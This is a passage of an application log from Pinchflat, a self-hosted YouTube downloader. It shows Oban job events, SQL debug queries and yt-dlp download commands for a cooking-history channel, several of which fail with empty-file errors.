04:16:47.861 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:00.083 [info] {"source":"oban","duration":303,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:17:17.863 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:47.864 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:00.084 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:18:17.865 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:47.866 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:00.086 [info] {"source":"oban","duration":354,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:19:17.868 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:47.869 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:00.086 [info] {"source":"oban","duration":306,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:20:17.870 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:47.871 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:59.329 [info] {"args":{"id":12546},"id":1728,"meta":{},"system_time":1774945259329300085,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:20:59.329 [debug] QUERY OK source="media_items" db=0.1ms idle=1936.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 04:20:59.329 [info] User scripts lifecyle file either not present or is empty. Skipping. 04:20:59.330 [debug] QUERY OK source="sources" db=0.2ms idle=1937.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 04:20:59.330 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1009.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:20:59.331 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 04:20:59.331 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 04:20:59.331 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:20:59.332 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:20:59.332 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:20:59.332 [debug] Running yt-dlp command for action: get_downloadable_status 04:20:59.333 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:20:59.333 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:20:59.333 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:20:59.333 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c4/a3/c4a3f96b7b1ce1c2e48841d462df5e19310e0d44cc9ef978dd007751d4e683c8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:21:00.087 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:21:03.230 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c4/a3/c4a3f96b7b1ce1c2e48841d462df5e19310e0d44cc9ef978dd007751d4e683c8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 04:21:03.230 [debug] Running yt-dlp command for action: download 04:21:03.231 [debug] QUERY OK source="settings" db=0.1ms idle=1838.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:21:03.231 [debug] QUERY OK source="settings" db=0.0ms idle=904.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:21:03.231 [debug] QUERY OK source="settings" db=0.1ms idle=838.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:21:03.231 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/bb/68/bb6821ec5d737be600d3b72f99e8b2014cdc9dd676924492ee79725fd590cf9d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:21:17.872 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:47.873 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:57.344 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/53/32/5332b5e8a0aeb7c00cf119331a0e751ffda88b4cd2fddd92ab580d9db9572fd2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 04:21:57.344 [error] yt-dlp download error for media item #11535: "ERROR: The downloaded file is empty\n" 04:21:57.345 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11535},"id":1730,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":360361340,"event":"job:exception","queue_time":538882,"attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:22:00.088 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:22:17.874 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:47.875 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:00.089 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:23:17.877 [info] {"source":"oban","duration":842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:47.879 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:00.090 [info] {"source":"oban","duration":331,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:24:17.881 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:47.882 [info] {"source":"oban","duration":898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:00.091 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:25:17.884 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:29.637 [info] {"args":{"id":12040},"id":1729,"meta":{},"system_time":1774945529637254074,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:25:29.637 [debug] QUERY OK source="media_items" db=0.2ms idle=244.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 04:25:29.637 [info] User scripts lifecyle file either not present or is empty. Skipping. 04:25:29.638 [debug] QUERY OK source="sources" db=0.2ms idle=245.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 04:25:29.638 [debug] QUERY OK source="media_profiles" db=0.1ms idle=245.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:25:29.639 [debug] QUERY OK source="media_items" db=0.2ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 04:25:29.639 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 04:25:29.639 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:25:29.640 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:25:29.640 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:25:29.640 [debug] Running yt-dlp command for action: get_downloadable_status 04:25:29.641 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:25:29.641 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:25:29.641 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:25:29.641 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/fe/e1/fee1891efeba75cc7b1b3c8b88b845c28826be29340e990584655a2a18569638.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:25:33.884 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/fe/e1/fee1891efeba75cc7b1b3c8b88b845c28826be29340e990584655a2a18569638.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 04:25:33.885 [debug] Running yt-dlp command for action: download 04:25:33.885 [debug] QUERY OK source="settings" db=0.1ms idle=492.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:25:33.885 [debug] QUERY OK source="settings" db=0.1ms idle=493.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:25:33.886 [debug] QUERY OK source="settings" db=0.1ms idle=493.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:25:33.886 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/dd/08/dd08fde619add979c75d09a3f5a534d48f38e31320e2749f253059662e578ef4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:25:46.250 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/bb/68/bb6821ec5d737be600d3b72f99e8b2014cdc9dd676924492ee79725fd590cf9d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 04:25:46.250 [error] yt-dlp download error for media item #12546: "ERROR: The downloaded file is empty\n" 04:25:46.250 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12546},"id":1728,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":286921008,"event":"job:exception","queue_time":998637,"attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:25:47.885 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:00.092 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:26:17.887 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:47.889 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:00.093 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:27:17.890 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:47.891 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:00.094 [info] {"source":"oban","duration":340,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:28:17.892 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:47.893 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:00.095 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:29:17.895 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:47.896 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:00.096 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:30:17.897 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:18.488 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/dd/08/dd08fde619add979c75d09a3f5a534d48f38e31320e2749f253059662e578ef4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 04:30:18.488 [error] yt-dlp download error for media item #12040: "ERROR: The downloaded file is empty\n" 04:30:18.488 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12040},"id":1729,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":288851049,"event":"job:exception","queue_time":520088,"attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:30:47.898 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:50.988 [info] {"args":{"id":11535},"id":1730,"meta":{},"system_time":1774945850988369170,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:30:50.988 [debug] QUERY OK source="media_items" db=0.1ms idle=1595.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", 